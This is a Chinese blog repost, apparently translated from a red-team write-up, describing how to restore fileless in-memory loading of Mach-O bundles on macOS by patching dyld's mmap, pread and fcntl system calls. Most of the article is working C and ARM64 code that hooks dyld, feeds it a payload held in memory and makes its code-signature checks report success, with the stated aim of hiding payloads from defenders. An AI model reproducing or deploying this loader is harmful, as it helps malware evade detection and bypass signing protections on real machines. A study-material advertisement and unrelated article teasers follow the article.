IOS逆向--恢复Dyld的内存加载方式

news2024/11/16 0:34:33

之前我们一直在使用由dyld及其NSCreateObjectFileImageFromMemory/NSLinkModule API方法所提供的Mach-O捆绑包的内存加载方式。虽然这些方法我们今天仍然还在使用,但是这个工具较以往有一个很大的区别…现在很多模块都被持久化到了硬盘上。

@roguesys 在 2022 年 2 月发布公告称,dyld 的代码已经被更新,传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。

作为一个红队队员,这对于我们的渗透工作并没有好处。毕竟,NSLinkModule一个非常有用的api函数,这个函数可以使得我们的有效载荷不被蓝队轻易的发现。

因此,在这篇文章中,我们来仔细看看dyld的变化,并看看我们能做些什么来恢复这一功能,让我们的工具在内存中多保存一段时间,防止被蓝队过早的发现。

NSLinkModule有何与众不同

由于dyld是开源的,我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。

该函数的签名为:

NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... }

该函数的第一个参数是ofi,它是用NSCreateObjectFileImageFromMemory创建的,它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数,前者只是用于记录语句,后者一般是被忽略不用的。

通过查看代码发现,最新版本的NSLinkModule,会将osi所指向的内存写入磁盘。

if ( ofi->memSource != nullptr ) {
	...
	char        tempFileName[PATH_MAX];
	const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR");
	if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) {
		strlcpy(tempFileName, tmpDir, PATH_MAX);
		if ( tmpDir[strlen(tmpDir) - 1] != '/' )
			strlcat(tempFileName, "/", PATH_MAX);
	}
	else
		strlcpy(tempFileName, "/tmp/", PATH_MAX);
	strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);
	int fd = this->libSystemHelpers->mkstemp(tempFileName);
	if ( fd != -1 ) {
		ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0);
	}
	...
}

通过分析可以发现,代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中,只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘,并且路径会被传递给dlopen_from。

...
ofi->handle = dlopen_from(ofi->path, openMode, callerAddress);
...

因此,从本质上讲,这也就使得NSLinkModule成为了dlopen的一个封装器。

【----帮助网安学习,以下所有学习资料免费领!加v@~x:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

那我们能否恢复dyld之前的内存加载特性呢?

我们知道磁盘 I/O 是被用来持久化和读取我们的代码的…那么,如果我们在调用之前拦截它们,会发生什么呢?

使用dyld进行hook

为了拦截 I/O 调用,我们首先需要了解如何对dyld进行hook。

我们研究看看dyld是如何处理mmap调用的。启动 Hopper 并加载 /usr/lib/dyld, 显示mmap 是由 dyld 使用 svc 调用的。

img

知道了这一点,如果我们找到内存中存放这段代码的位置,我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢?用下面的这段代码就可以。

ldr x8, _value
br x8
_value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location

在我们进行操作之前,首先我们找到进程地址空间中dyld的基址。这是通过调用task_info完成的,我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。

void *getDyldBase(void) {
    struct task_dyld_info dyld_info;
    mach_vm_address_t image_infos;
    struct dyld_all_image_infos *infos;
    
    mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
    kern_return_t ret;
    
    ret = task_info(mach_task_self_,
                    TASK_DYLD_INFO,
                    (task_info_t)&dyld_info,
                    &count);
    
    if (ret != KERN_SUCCESS) {
        return NULL;
    }
    
    image_infos = dyld_info.all_image_info_addr;
    
    infos = (struct dyld_all_image_infos *)image_infos;
    return infos->dyldImageLoadAddress;
}

只要我们有了dyld的基址,我们就可以为mmap服务的调用查找签名。

bool searchAndPatch(char *base, char *signature, int length, void *target) {
    
    char *patchAddr = NULL;
    kern_return_t kret;
    
    for(int i=0; i < 0x100000; i++) {
        if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) {
            patchAddr = base + i;
            break;
        }
    }
    ...

当我们找到一个匹配的签名时,我们可以在我们的ARM64的Stub中打补丁。由于我们要处理的是内存的 "Read-Exec"页,我们需要用以下方法来更新内存保护。

kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);
if (kret != KERN_SUCCESS) {
    return FALSE;
}

注意这里的VM_PROT, 这个是必须要设定的,因为该内存页在其最大内存保护中没有设置写权限。

设置了写权限后,我们可以用我们的补丁覆盖内存,然后将保护重新设定为Read-Exec。

// Copy our path
memcpy(patchAddr, patch, sizeof(patch));

// Set the br address for our hook call
*(void **)((char*)patchAddr + 16) = target;

// Return exec permission
kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC);
if (kret != KERN_SUCCESS) {
	return FALSE;
}

现在我们需要思考一下,当我们在试图修改可执行的内存页时,在M1 macs上会发生什么。

由于macOS要确保每一页可执行内存都有签名,这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限(com.apple.security.cs.disable-executable-page-protection也适用)来运行我们的代码。

img

那么,既然如此,我们该如何处理我们的hook程序呢?

API模拟调用

有了所有组件的映射,我们现在就可以开始模拟API的调用。根据dyld的代码,我们需要对mmap、pread、fcntl的内容进行处理。

如果我们这样做是正确的,我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用,而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时,我们就可以用内存中的副本动态地交换内容。

首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名,这是dyld写入磁盘的临时文件。

如果是这样的话,我们就不需要从磁盘上映射内存了,只要简单地分配一个新的内存区域,然后复制到我们构造的Mach-O包上。

#define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-"

const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) {
    char *alloc;
    char filePath[PATH_MAX];
    int newFlags;
    
    memset(filePath, 0, sizeof(filePath));
    
    // Check if the file is our "in-memory" file
    if (fcntl(fd, F_GETPATH, filePath) != -1) {
        if (strstr(filePath, FILENAME_SEARCH) > 0) {
            
            newFlags = MAP_PRIVATE | MAP_ANONYMOUS;
            if (addr != 0) {
                newFlags |= MAP_FIXED;
            }
            
            alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0);
            memcpy(alloc, memoryLoadedFile+offset, len);
            vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot);
            return alloc;
        }
    }
    
    // If for another file, we pass through
    return mmap(addr, len, prot, flags, fd, offset);
}

接下来是pread参数,它会被dyld在加载时用来多次验证Mach-O的UUID。

ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) {
    char filePath[PATH_MAX];
    
    memset(filePath, 0, sizeof(filePath));
    
    // Check if the file is our "in-memory" file
    if (fcntl(fd, F_GETPATH, filePath) != -1) {
        if (strstr(filePath, FILENAME_SEARCH) > 0) {
            memcpy(buf, memoryLoadedFile+offset, nbyte);
            return nbyte;
        }
    }
    
    // If for another file, we pass through
    return pread(fd, buf, nbyte, offset);
}

最后我们处理fcntl。它会在很多地方被调用,可以在任何可能会失败的mmap调用之前验证编码的要求。

img

由于我们已经完成了hook,我们可以使dyld正常运行来绕过这些检查。

int hookedFcntl(int fildes, int cmd, void* param) {
    
    char filePath[PATH_MAX];
    
    memset(filePath, 0, sizeof(filePath));
    
    // Check if the file is our "in-memory" file
    if (fcntl(fildes, F_GETPATH, filePath) != -1) {
        if (strstr(filePath, FILENAME_SEARCH) > 0) {
            if (cmd == F_ADDFILESIGS_RETURN) {
                fsignatures_t *fsig = (fsignatures_t*)param;
                
                // called to check that cert covers file.. so we'll make it cover everything ;)
                fsig->fs_file_start = 0xFFFFFFFF;
                return 0;
            }
            
            // Signature sanity check by dyld
            if (cmd == F_CHECK_LV) {
                // Just say everything is fine
                return 0;
            }
        }
    }
    
    return fcntl(fildes, cmd, param);
}

有了以上这些,然后我们可以把这一切组合起来。

int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) {
    @autoreleasepool {
        char *dyldBase;
        int fd;
        int size;
        void (*function)(void);
        NSObjectFileImage fileImage;
        
        // Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/
        size = readFile("/tmp/loadme", &memoryLoadedFile);

        dyldBase = getDyldBase();
        searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap);
        searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread);
        searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl);
        
        // Set up blank content, same size as our Mach-O
        char *fakeImage = (char *)malloc(size);
        memset(fakeImage, 0x41, size);
        
        // Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image
        fileImage = (NSObjectFileImage)malloc(1024);
        *(void **)(((char*)fileImage+0x8)) = fakeImage;
        *(void **)(((char*)fileImage+0x10)) = size;
        
        void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE);
        void *symbol = NSLookupSymbolInModule(module, "runme");
        function = NSAddressOfSymbol(symbol);
        function();
    }
}

当我们执行时,可以看到在硬盘上就会创建我们的虚假文件。

img

但通过在运行时的交换内容来看,我们发现我们的内存模块加载完全正常。

img

其他

所以,最后一个阶段让我感到很困惑…我们使用了NSLinkModule,它生成了一个临时文件,并且用垃圾字符对它进行了填充。如果我们忽略这一点,而只是使用操作系统中的任意一个库来调用dlopen呢?这样应该就可以避免我们向磁盘中写入任何文件。

事实证明,这个想法是正确的。比如:

void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW);
function = dlsym(a, "runme");
function();

而不是只是搜索NSCreateObjectFileImageFromMemory,我们只是在搜索任何加载libffi-trampolines.dylib的引用,并通过我们的代码进行了替换,我们得到了同样的结果。

img

这里有一些注意事项。首先,我们需要确保库比我们自己要加载的模块大,否则当涉及到pread和mmap时,系统最终会截断我们的Mach-O。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/193020.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

还在用 OpenFeign?来试试 SpringBoot3 中的这个新玩意!

好久没发技术文章了&#xff0c;最近回到工作地&#xff0c;晚上有空又可以码码技术了&#xff0c;今天我们就来聊一个 Spring Boot3 中的新鲜玩意&#xff0c;声明式 HTTP 调用。 1. 由来 Spring Boot3 去年底就已经正式发布&#xff0c;我也尝了一把鲜&#xff0c;最近有空…

(02)Cartographer源码无死角解析-(53) 2D后端优化→位姿图优化理论(SPA)讲解、核型函数调用流程

讲解关于slam一系列文章汇总链接:史上最全slam从零开始&#xff0c;针对于本栏目讲解(02)Cartographer源码无死角解析-链接如下: (02)Cartographer源码无死角解析- (00)目录_最新无死角讲解&#xff1a;https://blog.csdn.net/weixin_43013761/article/details/127350885 文末…

Docker镜像部署至Rancher全局配置 以xxl-job-admin为例

流程以xxl-job-admin为例 1.基础环境 win/mac/linuxRancherDocker 2.下载源码 从Github上下载xxl-job xxl-jobGithub xxl-job官方地址 3.修改源码 打开 xxl-job 下的 xxl-job-admin 修改 application-properties 文件 修改数据库 修改为这种格式&#xff1a; 大括号包…

MPLS实验

目录实验要求mpls简介mpls工作过程实验的配置环回的配置R1和R5之间公网的ospf配置配置mpls-ldp配置R1和R5间的mplsvpn私网的rip及ospf的宣告配置公网mp-bgp的建立R2和R4上面的双向重发布R7和R8之间创建R7和R8间的mplsvpn配置静态路由及环回重发布实验要求 如图 要求&#xff1…

【C++修炼之路】15.C++继承

每一个不曾起舞的日子都是对生命的辜负 继承C继承一. 继承的概念及定义1.1 继承的引出1.2 继承的概念1.3 继承的定义二.基类和派生类对象赋值转换三.继承中的作用域3.1 作用域的概念3.2 举例说明同名冲突四.派生类的默认成员函数4.1 派生类的构造函数4.2 派生类的拷贝构造函数4…

【python学习笔记】:数据科学库操作(二)

接上一篇&#xff1a; 4、PIL Python Imaging Library(PIL) 已经成为 Python 事实上的图像处理标准库了&#xff0c;这是由于&#xff0c;PIL 功能非常强大&#xff0c;但API却非常简单易用。但是由于PIL仅支持到 Python 2.7&#xff0c;再加上年久失修&#xff0c;于是一群志…

如果写不好 SQL,有没有好用的报表软件?

业务和技术在做报表这件事情上&#xff0c;究竟有多大差别&#xff1f; 一家企业、一个组织&#xff0c;只要一直在经营和运作&#xff0c;因为税务和其他原因就需要通过数据报表来反映当期的经营管理状况。而“做报表”这个事情&#xff0c;在企业内部不管是业务人员还是技术人…

HTTP之Referrer和Referrer-policy

目录 HTTP之Referrer和Referrer-policy Referer Referrer-policy 如何设置referrer 盗链 防盗链的工作原理 绕过图片防盗链 利用https网站盗链http资源网站&#xff0c;refer不会发送 设置meta 设置referrerpolicy"no-referrer" 利用iframe伪造请求refe…

C语言指针变量的运算

指针变量保存的是地址&#xff0c;而地址本质上是一个整数&#xff0c;所以指针变量可以进行部分运算&#xff0c;例如加法、减法、比较等&#xff0c;请看下面的代码&#xff1a;#include<stdio.h>intmain(){ int a 10,*pa &a,*paa &a; double b 99.9,*pb &a…

JTAG和SWD调试器

文章目录一、调试器二、JTAG三、SWD三、各自优缺点一、调试器 当我们开发单片机程序时&#xff0c;通常是在Windows或Linux上进行代码编写和编译&#xff0c;但是单片机并不直接集成在电脑上&#xff0c;怎么验证我们的单片机程序是否正确并烧录到单片机中&#xff0c;此时就需…

某游戏平台检测加速辅助案例分析

加速类辅助会对游戏平衡造成极大的破坏&#xff0c;这类辅助会通过HOOK api的方式来达到修改游戏对时间判断的目的&#xff0c;一般情况下&#xff0c;在R3层&#xff0c;这类辅助会在 QueryPerformanceCounter TimeGetTime GettickCount这三个API上HOOK&#xff0c;修改他们的…

Java-黑马Java学习作业-day15面向对象进阶(抽象类接口内部类)

学习视频链接&#xff1a;https://www.bilibili.com/video/BV17F411T7Ao 文章目录第一题&#xff1a;&#xff08;抽象类求面积和周长&#xff09;第二题&#xff1a;&#xff08;接口实现新旧手机功能&#xff09;第三题&#xff1a;&#xff08;使用子类和匿名内部类调用接口…

大厂高薪测试在线讲解Jmeter全套性能测试

Jmeter进行性能测试基本包含如下基本过程&#xff1a;1&#xff09;新增线程组创建测试线程组&#xff0c;并设置线程数量及线程初始化启动方式。2&#xff09;新增 JMeter 元组创建各种默认元组及测试元组&#xff0c;填入目标测试静态资源请求和动态资源请求参数及数据。3&am…

Task9:Excel数据透视表

文章目录一 Excel数据透视表1 数据透视表2 切片器3 数据透视的注意事项4 透视表常用法二 Excel数据透视图一 Excel数据透视表 1 数据透视表 什么是透视表&#xff1a;把明细表分类汇总的过程&#xff0c;可以按照不同的组合方式进行数据计算使用场景&#xff1a; 1.大量数据&…

QT入门Buttons之QCheckBox

目录 一、界面布局介绍 1、布局器中的位置及使用 2、常用属性 二、属性功能介绍 1、常用信号 2、测试信号stateChanged(int) 3、组合框效果 三、Demo展示 此文为作者原创&#xff0c;转载标明出处&#xff01; 一、界面布局介绍 1、布局器中的位置及使用 QCheckBox复选…

除了console.log,你还用过console其它的属性么?

目录前言console.infoconsole.debugconsole.errorconsole.warnconsole.time 和 console.timeEndconsole.group 和 console.groupEndconsole.table前言 刚学习前端的时候&#xff0c;vue还没用vue-devtools&#xff0c;react还没用 React Developer Tools&#xff0c;我们经常通…

fastjson 1.2.47 RCE漏洞保姆级复现

1.漏洞概述 Fastjson提供了autotype功能&#xff0c;允许用户在反序列化数据中通过“type”指定反序列化的类型&#xff0c;Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法&#xff0c;那么当组件开启了autotype功能并且反序列化不可信数据时&…

Sklearn中的算法效果评估手段

我们曾在《算法效果评估&#xff1a;均方根误差&#xff08;RMSE&#xff09;/ 标准误差》一文中介绍过评估算法效果使用的主要方法&#xff1a;均方根误差&#xff08;RMSE&#xff09;&#xff0c;但在实际应用中&#xff0c;评估算法效果还有更多内容&#xff0c;本文我们以…

VsCode安装及修改插件存储位置

【官网】&#xff1a; https://code.visualstudio.com/ 【修改插件仓库】&#xff1a; 创建名为VSCODE_EXTENSIONS的环境变量&#xff0c;内容指向自定义的文件夹即可&#xff08;位置无需限制&#xff09;。 【需要安装的插件】&#xff1a;

SBOM的介绍与syft和grype的使用

文章目录SBOM介绍工具syftgrypeSBOM介绍 SBOM&#xff08;软件物料清单&#xff09;是给定产品的中所有软件组件&#xff08;专有和开源代码&#xff09;、开源许可证和依赖项的清单。它提供了对软件供应链以及可能存在的任何许可证合规性、安全性和质量风险的可见性。 SBOM可…